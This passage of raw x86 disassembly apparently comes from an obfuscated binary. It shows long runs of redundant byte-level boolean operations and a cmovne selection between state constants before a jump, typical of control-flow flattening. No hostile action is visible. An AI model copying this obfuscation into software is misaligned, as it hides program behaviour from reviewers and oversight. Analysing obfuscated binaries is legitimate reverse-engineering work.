or bl, cl
mov cl, bh
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
and bh, dh
mov ah, bl
xor ah, 0xff
and ah, 0
and bl, dh
mov dh, byte [ebp - 0x9b3]
or cl, bh
or ah, bl
xor cl, ah
mov byte [ebp - 0x9b2], cl
mov bh, 1
xor bh, 1
and bh, 0
mov ah, 1
xor ah, 0
mov bl, ah
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or bh, bl
or cl, ah
xor bh, cl
mov cl, dh
xor cl, 0xff
and cl, 0
mov bl, 1
xor bl, 0
and dh, bl
mov ah, bh
xor ah, 0xff
and ah, 0
and bh, bl
mov bl, byte [ebp - 0x9b2]
or cl, dh
mov dh, byte [ebp - 0x9b3]
or ah, bh
xor cl, ah
xor cl, 0xff
xor dh, 0xff
mov ah, 1
xor ah, 0
or cl, dh
or ah, 0
xor cl, 0xff
and cl, ah
mov byte [ebp - 0x9c2], cl
mov ah, bl
xor ah, 0xff
and ah, 0
mov dh, 1
xor dh, 0
and bl, dh
mov cl, 1
xor cl, 1
and cl, 0
and dh, 1
or ah, bl
or cl, dh
xor ah, cl
mov cl, dl
xor cl, 0xff
mov bh, ah
and bh, cl
xor ah, 0xff
mov cl, dl
and cl, ah
or bh, cl
xor bh, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 1
or bh, dl
or cl, 1
xor bh, 0xff
and bh, cl
mov dl, 1
xor dl, 1
and dl, 0
mov ah, 1
xor ah, 0
mov dh, ah
and dh, 1
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or dl, dh
or cl, ah
xor dl, cl
mov ah, ch
xor ah, 0xff
and ah, 0
mov bl, 1
xor bl, 0
mov dh, ch
and dh, bl
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, bl
mov bl, byte [ebp - 0x9b2]
or ah, dh
or cl, dl
xor ah, cl
xor ah, 0xff
mov dl, ch
xor dl, 0xff
mov cl, 1
xor cl, 1
or ah, dl
or cl, 1
xor ah, 0xff
and ah, cl
mov dl, al
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
and al, cl
or dl, al
mov dh, bl
xor dh, 0xff
and dh, 0
mov cl, 1
xor cl, 0
and bl, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dh, bl
or al, cl
xor dh, al
mov cl, 1
xor cl, 1
and cl, 1
mov bl, 1
xor bl, 1
mov al, bl
and al, 1
mov byte [ebp - 0x9c8], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x9c7], al
mov al, byte [ebp - 0x9c8]
and bl, 1
or cl, al
mov al, byte [ebp - 0x9c7]
or al, bl
xor cl, al
mov al, dl
and al, dh
xor dl, dh
or al, dl
mov byte [ebp - 0x9c3], al
mov dh, 1
xor dh, 1
mov al, cl
xor al, 0xff
mov byte [ebp - 0x9c4], al
mov bl, 1
xor bl, 0
mov dl, dh
and dl, 0
mov al, bl
and al, 1
mov byte [ebp - 0x9c6], al
mov al, byte [ebp - 0x9c4]
and al, 0
mov byte [ebp - 0x9c5], al
mov al, byte [ebp - 0x9c6]
and cl, bl
or dl, al
mov al, byte [ebp - 0x9c5]
or al, cl
mov cl, byte [ebp - 0x9c4]
xor dl, al
mov al, byte [ebp - 0x9c3]
or dh, cl
mov cl, byte [ebp - 0x9c2]
xor dh, 0xff
or bl, 0
and dh, bl
or dl, dh
mov dh, al
xor dh, 0xff
and dh, 1
mov bl, 1
xor bl, 1
and al, bl
or dh, al
xor dh, 0xff
xor dl, 0xff
mov al, 1
xor al, 0
or dh, dl
or al, 0
xor dh, 0xff
and dh, al
mov al, cl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and cl, dl
or al, cl
mov byte [ebp - 0x9be], al
mov al, bh
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov bl, bh
and bl, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, bl
or cl, dl
xor al, cl
mov byte [ebp - 0x9ba], al
mov al, 1
xor al, 0
and al, 1
mov bl, 1
xor bl, 1
mov cl, bl
and cl, 0
mov dl, 1
xor dl, 1
and dl, 0xff
and bl, 1
or al, cl
mov cl, byte [ebp - 0x9c2]
or dl, bl
mov bl, byte [ebp - 0x9be]
xor al, dl
mov byte [ebp - 0x9b5], al
mov dl, 1
xor dl, 0
mov al, bl
xor al, dl
mov dl, byte [ebp - 0x9b5]
and al, bl
xor cl, 0xff
xor dl, 0xff
mov bl, 1
xor bl, 0
or cl, dl
mov dl, byte [ebp - 0x9ba]
or bl, 0
xor cl, 0xff
and cl, bl
mov byte [ebp - 0x9c1], cl
xor dl, 0xff
mov bl, 1
xor bl, 0
mov cl, 1
xor cl, 1
or dl, bl
mov bl, byte [ebp - 0x9b5]
or cl, 1
xor dl, 0xff
and dl, cl
mov cl, byte [ebp - 0x9c1]
mov byte [ebp - 0x9bb], dl
xor bh, 0xff
xor bl, 0xff
mov dl, 1
xor dl, 0
or bh, bl
or dl, 0
xor bh, 0xff
and bh, dl
mov bl, al
xor bl, 0xff
xor cl, 0xff
mov byte [ebp - 0x9bd], cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0x9bc], cl
mov dl, bl
and dl, 0
and al, cl
mov cl, byte [ebp - 0x9c1]
mov byte [ebp - 0x9c0], al
mov al, byte [ebp - 0x9bd]
and al, 0
mov byte [ebp - 0x9bf], al
mov al, byte [ebp - 0x9bc]
and cl, al
mov al, byte [ebp - 0x9c0]
or dl, al
mov al, byte [ebp - 0x9bf]
or al, cl
mov cl, byte [ebp - 0x9be]
xor dl, al
mov al, byte [ebp - 0x9bd]
or bl, al
mov al, byte [ebp - 0x9bc]
xor bl, 0xff
or al, 0
and bl, al
mov al, byte [ebp - 0x9bb]
or dl, bl
mov bl, al
and bl, bh
xor al, bh
or bl, al
mov bh, dl
xor bh, 0xff
mov al, bl
and al, bh
mov bh, byte [ebp - 0x9ba]
xor bl, 0xff
and dl, bl
or al, dl
mov byte [ebp - 0x9b4], al
mov dl, cl
xor dl, 0xff
xor bh, 0xff
mov bl, 1
xor bl, 0
mov al, dl
and al, 0
mov byte [ebp - 0x9b9], al
and cl, bl
mov al, bh
and al, 0
mov byte [ebp - 0x9b8], al
mov al, byte [ebp - 0x9ba]
and al, bl
mov byte [ebp - 0x9b7], al
mov al, byte [ebp - 0x9b9]
or al, cl
mov cl, byte [ebp - 0x9b8]
mov byte [ebp - 0x9b6], al
mov al, byte [ebp - 0x9b7]
or cl, al
mov al, byte [ebp - 0x9b6]
xor al, cl
mov cl, byte [ebp - 0x9b5]
or dl, bh
xor dl, 0xff
or bl, 0
and dl, bl
or al, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov bh, 1
xor bh, 1
and al, bh
mov bl, 1
xor bl, 1
and bl, 0xff
and bh, 1
or dl, al
mov al, byte [ebp - 0x9b4]
or bl, bh
xor dl, bl
mov bl, cl
and bl, 0
xor cl, 0
or bl, cl
xor dl, 0xff
xor bl, 0xff
mov cl, 1
xor cl, 0
or dl, bl
or cl, 0
xor dl, 0xff
and dl, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov al, ah
xor al, 0xff
mov bl, dh
xor bl, 0xff
mov dl, 1
xor dl, 1
or al, bl
or dl, 1
xor al, 0xff
and al, dl
mov bl, ah
xor bl, 0xff
mov dl, dh
and dl, bl
xor dh, 0xff
and ah, dh
or dl, ah
mov bl, al
and bl, dl
xor al, dl
or bl, al
mov dl, cl
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov dh, cl
and dh, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or dl, dh
or al, ah
xor dl, al
mov dh, 1
xor dh, 1
xor dl, 0xff
mov al, 1
xor al, 1
or dh, dl
or al, 1
xor dh, 0xff
and dh, al
mov al, 1
xor al, 1
and al, 1
mov dl, 1
xor dl, 1
and dl, 1
or al, dl
mov dl, al
xor dl, 0xff
mov bh, cl
xor bh, dl
and bh, cl
mov cl, bl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov dl, bl
and dl, ah
or cl, dl
xor cl, 0xff
mov ah, 1
xor ah, 1
mov dl, 1
xor dl, 0
or cl, ah
mov ah, byte [ebp - 0x9b2]
or dl, 0
xor cl, 0xff
and cl, dl
xor bl, 0xff
xor al, 0xff
mov dl, 1
xor dl, 0
or bl, al
mov al, byte [ebp - 0x9b3]
or dl, 0
xor bl, 0xff
and bl, dl
mov dl, dh
and dl, bh
xor dh, bh
or dl, dh
mov dh, cl
and dh, bl
xor cl, bl
or dh, cl
mov bl, dl
xor bl, 0xff
mov cl, dh
and cl, bl
xor dh, 0xff
and dl, dh
or cl, dl
mov byte [ebp - 0x9a9], cl
mov dl, ch
xor dl, 0xff
mov cl, al
xor cl, dl
and cl, al
mov dh, al
xor dh, 0xff
mov dl, ch
and dl, dh
xor ch, 0xff
and al, ch
or dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov dl, al
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
mov cl, al
and cl, ch
or dl, cl
mov bh, 1
xor bh, 1
xor dl, 0xff
mov cl, 1
xor cl, 0
or bh, dl
or cl, 0
xor bh, 0xff
and bh, cl
mov cl, 1
xor cl, 1
and cl, 1
mov dl, 1
xor dl, 1
and dl, 1
or cl, dl
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, bh
xor al, 0xff
mov dl, bl
xor dl, 0xff
mov cl, 1
xor cl, 1
mov ch, al
and ch, 0xff
and bh, cl
mov dh, dl
and dh, 0xff
and bl, cl
or ch, bh
or dh, bl
xor ch, dh
or al, dl
xor al, 0xff
or cl, 1
and al, cl
or ch, al
mov dh, 1
xor dh, 1
and dh, 1
mov al, 1
xor al, 1
and al, 1
or dh, al
mov byte [ebp - 0x9af], dh
mov dl, ah
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
and ah, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dl, ah
or al, cl
xor dl, al
mov bh, 1
xor bh, 0
and bh, 1
mov cl, 1
xor cl, 1
mov ah, cl
and ah, 0
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bh, ah
or al, cl
xor bh, al
mov byte [ebp - 0x9ad], bh
xor dh, 0xff
mov cl, 1
xor cl, 0
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
mov bl, 1
xor bl, 1
mov cl, bh
xor cl, 0xff
mov al, 1
xor al, 0
or bl, cl
or al, 0
xor bl, 0xff
and bl, al
mov al, dl
xor al, 0xff
mov ah, 1
xor ah, 0
mov cl, 1
xor cl, 1
or al, ah
mov ah, byte [ebp - 0x9b2]
or cl, 1
xor al, 0xff
and al, cl
xor bh, 0xff
mov cl, ah
xor cl, bh
and cl, ah
mov ah, dh
and ah, bl
xor dh, bl
or ah, dh
mov bl, al
xor bl, 0xff
mov dh, cl
xor dh, 0xff
mov byte [ebp - 0x9ae], dh
mov bh, 1
xor bh, 1
mov dh, bl
and dh, 0xff
and al, bh
mov byte [ebp - 0x9b1], al
mov al, byte [ebp - 0x9ae]
and al, 0xff
mov byte [ebp - 0x9b0], al
mov al, byte [ebp - 0x9b1]
and cl, bh
or dh, al
mov al, byte [ebp - 0x9b0]
or al, cl
mov cl, byte [ebp - 0x9af]
xor dh, al
mov al, byte [ebp - 0x9ae]
or bl, al
mov al, byte [ebp - 0x9ad]
xor bl, 0xff
or bh, 1
and bl, bh
or dh, bl
mov bl, ah
xor bl, 0xff
mov bh, dh
and bh, bl
xor dh, 0xff
and ah, dh
or bh, ah
mov dh, cl
and dh, dl
xor cl, dl
or dh, cl
mov cl, dh
xor cl, 0xff
and cl, 0
mov ah, 1
xor ah, 0
and dh, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or cl, dh
or dl, ah
xor cl, dl
mov byte [ebp - 0x9aa], cl
mov dl, 1
xor dl, 0
mov dh, al
xor dh, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
mov bl, ah
and bl, 0
mov byte [ebp - 0x9ac], bl
mov bl, dh
and bl, 0
and al, ah
mov byte [ebp - 0x9ab], al
mov al, byte [ebp - 0x9ac]
or cl, al
mov al, byte [ebp - 0x9ab]
or bl, al
mov al, byte [ebp - 0x9aa]
xor cl, bl
or dl, dh
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, bh
xor al, 0xff
mov dl, bl
xor dl, 0xff
mov cl, 1
xor cl, 0
mov ah, al
and ah, 0
and bh, cl
mov dh, dl
and dh, 0
and bl, cl
or ah, bh
or dh, bl
xor ah, dh
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov cl, ch
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and ch, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, ch
or al, dl
xor cl, al
mov bl, ah
xor bl, 0xff
and bl, 0
mov dl, 1
xor dl, 0
and ah, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or bl, ah
or al, dl
xor bl, al
mov bh, 1
xor bh, 0
and bh, 1
mov dl, 1
xor dl, 1
mov ah, dl
and ah, 0
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or bh, ah
or al, dl
xor bh, al
mov dl, cl
xor dl, 0xff
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 0
mov al, dl
and al, 0
and cl, ah
mov dh, ch
and dh, 0
and bl, ah
or al, cl
mov cl, byte [ebp - 0x9a9]
or dh, bl
xor al, dh
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or al, dl
mov byte [ebp - 0x9a8], al
mov dl, 1
xor dl, 0
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, dl
and ah, 0xff
mov al, ch
and al, 0
mov bl, dh
and bl, 0xff
and bh, ch
or ah, al
mov al, byte [ebp - 0x9a8]
or bl, bh
xor ah, bl
or dl, dh
xor dl, 0xff
or ch, 1
and dl, ch
or ah, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and al, ch
or dl, al
xor dl, 0xff
xor ah, 0xff
mov al, 1
xor al, 0
or dl, ah
or al, 0
xor dl, 0xff
and dl, al
mov bl, cl
xor bl, 0xff
and bl, 1
mov ah, 1
xor ah, 1
mov al, cl
and al, ah
or bl, al
mov dh, dl
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
mov al, dl
and al, ah
or dh, al
mov bh, 1
xor bh, 0
and bh, 0
mov ah, 1
xor ah, 0
mov ch, ah
and ch, 0
mov al, 1
xor al, 1
and al, 0
and ah, 1
or bh, ch
or al, ah
xor bh, al
mov ah, 1
xor ah, 0
mov al, bl
xor al, ah
and al, bl
mov byte [ebp - 0x9a7], al
xor cl, 0xff
mov ah, bh
xor ah, 0xff
mov al, 1
xor al, 1
or cl, ah
or al, 1
xor cl, 0xff
and cl, al
mov ah, dh
xor ah, 0xff
mov al, 1
xor al, 0
mov ch, 1
xor ch, 1
or ah, al
mov al, byte [ebp - 0x9a7]
or ch, 1
xor ah, 0xff
and ah, ch
mov byte [ebp - 0x9a3], ah
xor dl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
or dl, ch
or ah, 0
xor dl, 0xff
and dl, ah
mov byte [ebp - 0x9a2], dl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x9a4], ah
mov ch, cl
xor ch, 0xff
mov dl, 1
xor dl, 0
and ah, 0
and al, dl
mov byte [ebp - 0x9a6], al
mov al, ch
and al, 0
mov byte [ebp - 0x9a5], al
mov al, byte [ebp - 0x9a6]
and cl, dl
or ah, al
mov al, byte [ebp - 0x9a5]
or al, cl
mov cl, byte [ebp - 0x9a4]
xor ah, al
mov al, byte [ebp - 0x9a3]
or cl, ch
mov ch, byte [ebp - 0x9a2]
xor cl, 0xff
or dl, 0
and cl, dl
or ah, cl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x99e], dl
xor ch, 0xff
mov cl, 1
xor cl, 1
mov byte [ebp - 0x99f], cl
and dl, 0xff
and al, cl
mov cl, byte [ebp - 0x9a2]
mov byte [ebp - 0x9a1], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x9a0], al
mov al, byte [ebp - 0x99f]
and cl, al
mov al, byte [ebp - 0x9a1]
or dl, al
mov al, byte [ebp - 0x9a0]
or al, cl
mov cl, byte [ebp - 0x99f]
xor dl, al
mov al, byte [ebp - 0x99e]
or al, ch
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov al, ah
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and ah, ch
mov cl, dl
xor cl, 0xff
and cl, 0xff
and dl, ch
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0x99d], al
mov al, bl
xor al, 0xff
mov dl, dh
xor dl, 0xff
mov cl, 1
xor cl, 0
mov ah, al
and ah, 0
and bl, cl
mov ch, dl
and ch, 0
and dh, cl
or ah, bl
or ch, dh
xor ah, ch
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov dl, ah
xor dl, 0xff
and dl, 0
mov cl, 1
xor cl, 0
and ah, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, ah
or al, cl
xor dl, al
mov cl, 1
xor cl, 0
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, cl
and ah, 0xff
mov al, ch
and al, 0
mov bl, dh
and bl, 0xff
and bh, ch
or ah, al
mov al, byte [ebp - 0x99d]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8f35aa37
mov ecx, 0xf2004813
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x4c0c7f
mov dword [ebp - 0x1b4], 0x80599983
jmp 0x4c0c7f
mov eax, dword [0x6355c4]
mov ecx, dword [0x6355c0]
mov edx, eax
sub edx, 0xdd235bbe
sub edx, 0x236d37cf
add edx, 0xdd235bbe
xor esi, esi
sub esi, 0x1ba6ef5
add edx, esi
add edx, 0x5969ccf6
add edx, 0x236d37cf
sub edx, 0x5969ccf6
mov edi, 0x449b9eb8
add edi, 0
sub edi, 1
sub edi, 0x449b9eb8
xor esi, esi
sub esi, edi
sub edx, esi
mov esi, 0xd14df97
add esi, 0
sub esi, 0x1ba6ef5
sub esi, 0xd14df97
add edx, 0xd0311a96
sub edx, esi
sub edx, 0xd0311a96
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
cmp ecx, 0xa
setl bh
mov dl, ah
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, ah
and al, cl
or dl, al
mov cl, 1
xor cl, 0
xor dl, 0xff
mov al, 1
xor al, 1
or cl, dl
or al, 1
xor cl, 0xff
and cl, al
mov al, 1
xor al, 0
and al, 1
mov dl, 1
xor dl, 1
and dl, 0
or al, dl
mov dl, ah
xor dl, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
or dl, dh
or ch, 0
xor dl, 0xff
and dl, ch
mov byte [ebp - 0xb02], dl
mov dl, 1
xor dl, 1
and dl, 0
mov bl, 1
xor bl, 0
mov dh, bl
and dh, 1
mov ch, 1
xor ch, 1
and ch, 0
and bl, 1
or dl, dh
mov dh, byte [ebp - 0xb02]
or ch, bl
xor dl, ch
mov ch, 1
xor ch, 0
mov bl, dl
xor bl, ch
and bl, dl
xor al, 0xff
xor al, 1
and al, 0xff
mov byte [ebp - 0xafd], al
mov dl, cl
xor dl, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 1
mov al, dl
and al, 0xff
mov byte [ebp - 0xb01], al
and cl, ch
mov al, dh
and al, 0xff
mov byte [ebp - 0xaff], al
mov al, byte [ebp - 0xb02]
and al, ch
mov byte [ebp - 0xb00], al
mov al, byte [ebp - 0xb01]
or al, cl
mov cl, byte [ebp - 0xb00]
mov byte [ebp - 0xafe], al
mov al, byte [ebp - 0xaff]
or al, cl
mov cl, byte [ebp - 0xafe]
xor cl, al
mov al, byte [ebp - 0xafd]
or dl, dh
xor dl, 0xff
or ch, 1
and dl, ch
or cl, dl
mov dl, bl
xor dl, 0xff
mov byte [ebp - 0xafa], dl
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
and dl, 0
and bl, ch
mov byte [ebp - 0xafc], bl
mov bl, dh
and bl, 0
and al, ch
mov byte [ebp - 0xafb], al
mov al, byte [ebp - 0xafc]
or dl, al
mov al, byte [ebp - 0xafb]
or bl, al
mov al, byte [ebp - 0xafa]
xor dl, bl
or al, dh
xor al, 0xff
or ch, 0
and al, ch
or dl, al
mov ch, cl
xor ch, 0xff
mov al, dl
and al, ch
xor dl, 0xff
and cl, dl
or al, cl
mov byte [ebp - 0xacf], al
mov al, bh
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov cl, bh
and cl, dl
or al, cl
xor al, 0xff
xor al, 0
and al, 0
mov dh, 1
xor dh, 0
and dh, 1
mov dl, 1
xor dl, 1
mov ch, dl
and ch, 0
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or dh, ch
or cl, dl
xor dh, cl
mov dl, dh
xor dl, 0xff
mov cl, bh
xor cl, dl
and cl, bh
mov ch, 1
xor ch, 1
and ch, 1
mov dl, 1
xor dl, 1
and dl, 1
or ch, dl
mov bl, 1
xor bl, 0
mov dl, ch
xor dl, bl
and dl, ch
mov byte [ebp - 0xaf6], dl
mov ch, 1
xor ch, 1
xor dh, 0xff
mov dl, 1
xor dl, 0
or ch, dh
or dl, 0
xor ch, 0xff
and ch, dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0xaf7], dl
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
and dl, 0
and al, dh
mov byte [ebp - 0xaf9], al
mov al, bl
and al, 0
mov byte [ebp - 0xaf8], al
mov al, byte [ebp - 0xaf9]
and cl, dh
or dl, al
mov al, byte [ebp - 0xaf8]
or al, cl
mov cl, byte [ebp - 0xaf7]
xor dl, al
mov al, byte [ebp - 0xaf6]
or cl, bl
xor cl, 0xff
or dh, 0
and cl, dh
or dl, cl
mov cl, al
and cl, ch
xor al, ch
or cl, al
mov ch, dl
xor ch, 0xff
and ch, 0
mov dh, 1
xor dh, 0
and dl, dh
mov al, cl
xor al, 0xff
and al, 0
and cl, dh
or ch, dl
or al, cl
xor ch, al
mov al, 1
xor al, 1
and al, 1
mov cl, 1
xor cl, 1
and cl, 1
or al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov bl, 1
xor bl, 1
and bl, 1
mov dl, 1
xor dl, 1
mov dh, dl
and dh, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or bl, dh
or cl, dl
xor bl, cl
mov cl, 1
xor cl, 1
mov dh, bl
xor dh, 0xff
mov dl, 1
xor dl, 1
or cl, dh
or dl, 1
xor cl, 0xff
and cl, dl
mov byte [ebp - 0xaf5], cl
mov dh, 1
xor dh, 1
and dh, 1
mov cl, 1
xor cl, 1
and cl, 1
or dh, cl
mov cl, 1
xor cl, 1
mov dl, dh
xor dl, cl
mov cl, byte [ebp - 0xaf5]
and dl, dh
mov byte [ebp - 0xaf2], dl
xor bl, 0xff
xor bl, 1
and bl, 0xff
mov dh, al
xor dh, 0xff
xor cl, 0xff
mov byte [ebp - 0xaf1], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0xaf0], cl
mov dl, dh
and dl, 0xff
and al, cl
mov cl, byte [ebp - 0xaf5]
mov byte [ebp - 0xaf4], al
mov al, byte [ebp - 0xaf1]
and al, 0xff
mov byte [ebp - 0xaf3], al
mov al, byte [ebp - 0xaf0]
and cl, al
mov al, byte [ebp - 0xaf4]
or dl, al
mov al, byte [ebp - 0xaf3]
or al, cl
mov cl, byte [ebp - 0xaf2]
xor dl, al
mov al, byte [ebp - 0xaf1]
or dh, al
mov al, byte [ebp - 0xaf0]
xor dh, 0xff
or al, 1
and dh, al
mov al, byte [ebp - 0xacf]
or dl, dh
mov dh, cl
and dh, bl
xor cl, bl
or dh, cl
mov bl, dl
xor bl, 0xff
mov cl, dh
and cl, bl
xor dh, 0xff
and dl, dh
or cl, dl
mov byte [ebp - 0xace], cl
mov bl, 1
xor bl, 1
and bl, 1
mov dl, 1
xor dl, 1
mov dh, dl
and dh, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or bl, dh
or cl, dl
xor bl, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and al, dh
mov dl, bl
xor dl, 0xff
and dl, 0xff
and bl, dh
mov dh, byte [ebp - 0xacf]
or cl, al
mov al, byte [ebp - 0xace]
or dl, bl
xor cl, dl
xor cl, 0xff
xor dh, 0xff
mov dl, 1
xor dl, 0
or cl, dh
or dl, 0
xor cl, 0xff
and cl, dl
mov byte [ebp - 0xae3], cl
mov dh, al
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
mov cl, al
and cl, dl
or dh, cl
mov cl, ah
xor cl, 0xff
mov dl, dh
and dl, cl
xor dh, 0xff
mov cl, ah
and cl, dh
or dl, cl
xor dl, 0xff
xor ah, 0xff
mov cl, 1
xor cl, 1
or dl, ah
or cl, 1
xor dl, 0xff
and dl, cl
mov ah, 1
xor ah, 1
and ah, 1
mov cl, 1
xor cl, 1
and cl, 1
or ah, cl
mov cl, ch
xor cl, 0xff
mov dh, ah
and dh, cl
xor ah, 0xff
mov cl, ch
and cl, ah
or dh, cl
xor dh, 0xff
mov ah, ch
xor ah, 0xff
mov cl, 1
xor cl, 0
or dh, ah
or cl, 0
xor dh, 0xff
and dh, cl
mov cl, bh
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
and bh, bl
mov ah, 1
xor ah, 1
and ah, 0xff
and bl, 1
or cl, bh
or ah, bl
xor cl, ah
mov bh, al
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
and al, ah
or bh, al
mov byte [ebp - 0xaef], bh
mov al, 1
xor al, 1
and al, 1
mov ah, 1
xor ah, 1
and ah, 1
or al, ah
mov byte [ebp - 0xaea], al
mov ah, cl
xor ah, 0xff
xor bh, 0xff
mov bl, 1
xor bl, 0
mov al, ah
and al, 0
mov byte [ebp - 0xaee], al
and cl, bl
mov al, bh
and al, 0
mov byte [ebp - 0xaed], al
mov al, byte [ebp - 0xaef]
and al, bl
mov byte [ebp - 0xaec], al
mov al, byte [ebp - 0xaee]
or al, cl
mov cl, byte [ebp - 0xaed]
mov byte [ebp - 0xaeb], al
mov al, byte [ebp - 0xaec]
or cl, al
mov al, byte [ebp - 0xaeb]
xor al, cl
mov cl, byte [ebp - 0xaea]
or ah, bh
xor ah, 0xff
or bl, 0
and ah, bl
or al, ah
mov byte [ebp - 0xae7], al
mov bl, 1
xor bl, 1
mov byte [ebp - 0xae6], bl
mov bh, cl
xor bh, 0xff
mov ah, 1
xor ah, 1
and bl, 0xff
mov al, ah
and al, 1
mov byte [ebp - 0xae9], al
mov al, bh
and al, 0xff
mov byte [ebp - 0xae8], al
mov al, byte [ebp - 0xae9]
and cl, ah
or bl, al
mov al, byte [ebp - 0xae8]
or al, cl
mov cl, byte [ebp - 0xae7]
xor bl, al
mov al, byte [ebp - 0xae6]
or al, bh
xor al, 0xff
or ah, 1
and al, ah
or bl, al
mov ah, cl
xor ah, 0xff
and ah, 0
mov bh, 1
xor bh, 0
and cl, bh
mov al, 1
xor al, 1
and al, 0
and bh, 1
or ah, cl
mov cl, byte [ebp - 0xae3]
or al, bh
xor ah, al
xor ah, 0xff
xor bl, 0xff
mov al, 1
xor al, 0
or ah, bl
or al, 0
xor ah, 0xff
and ah, al
mov al, cl
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and cl, bl
or al, cl
mov byte [ebp - 0xad8], al
mov bl, dl
xor bl, 0xff
and bl, 0
mov cl, 1
xor cl, 0
mov bh, dl
and bh, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bl, bh
or al, cl
xor bl, al
mov al, 1
xor al, 0
and al, 0
mov byte [ebp - 0xae5], al
mov al, 1
xor al, 0
mov cl, al
and cl, 0
mov bh, 1
xor bh, 1
and bh, 0
and al, 1
mov byte [ebp - 0xae4], al
mov al, byte [ebp - 0xae5]
or al, cl
mov cl, byte [ebp - 0xae4]
or bh, cl
mov cl, byte [ebp - 0xad8]
xor al, bh
mov byte [ebp - 0xada], al
xor cl, 0xff
mov al, 1
xor al, 0
mov bh, 1
xor bh, 0
or cl, al
mov al, byte [ebp - 0xae3]
or bh, 0
xor cl, 0xff
and cl, bh
mov bh, byte [ebp - 0xada]
mov byte [ebp - 0xae2], cl
xor al, 0xff
xor bh, 0xff
mov cl, 1
xor cl, 0
or al, bh
or cl, 0
xor al, 0xff
and al, cl
mov byte [ebp - 0xae1], al
mov bh, bl
xor bh, 0xff
mov al, 1
xor al, 0
mov cl, 1
xor cl, 1
or bh, al
mov al, byte [ebp - 0xae2]
or cl, 1
xor bh, 0xff
and bh, cl
mov cl, byte [ebp - 0xada]
mov byte [ebp - 0xadb], bh
xor dl, 0xff
xor cl, 0xff
mov bh, 1
xor bh, 0
or dl, cl
mov cl, byte [ebp - 0xae1]
or bh, 0
xor dl, 0xff
and dl, bh
mov byte [ebp - 0xade], dl
mov bh, al
xor bh, 0xff
xor cl, 0xff
mov byte [ebp - 0xadd], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0xadc], cl
mov dl, bh
and dl, 0xff
and al, cl
mov cl, byte [ebp - 0xae1]
mov byte [ebp - 0xae0], al
